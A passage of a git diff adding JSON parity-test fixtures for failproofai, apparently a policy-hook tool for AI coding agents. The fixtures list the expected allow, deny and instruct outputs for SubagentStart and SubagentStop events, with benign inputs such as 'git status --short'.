"allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4b9933db --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d0e97267 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..65e171ca --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..48a2c457 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bcab804e --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..aaebcbc7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f8b4bbc0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ba834665 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f9f0bb83 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..aede7ba4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..332acd69 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..77eca471 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3df1fcdc --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..dc6dff00 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a6eff379 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..714dadb4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1aaa13a5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b1b40275 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..18c42a3e --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9831373e --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": 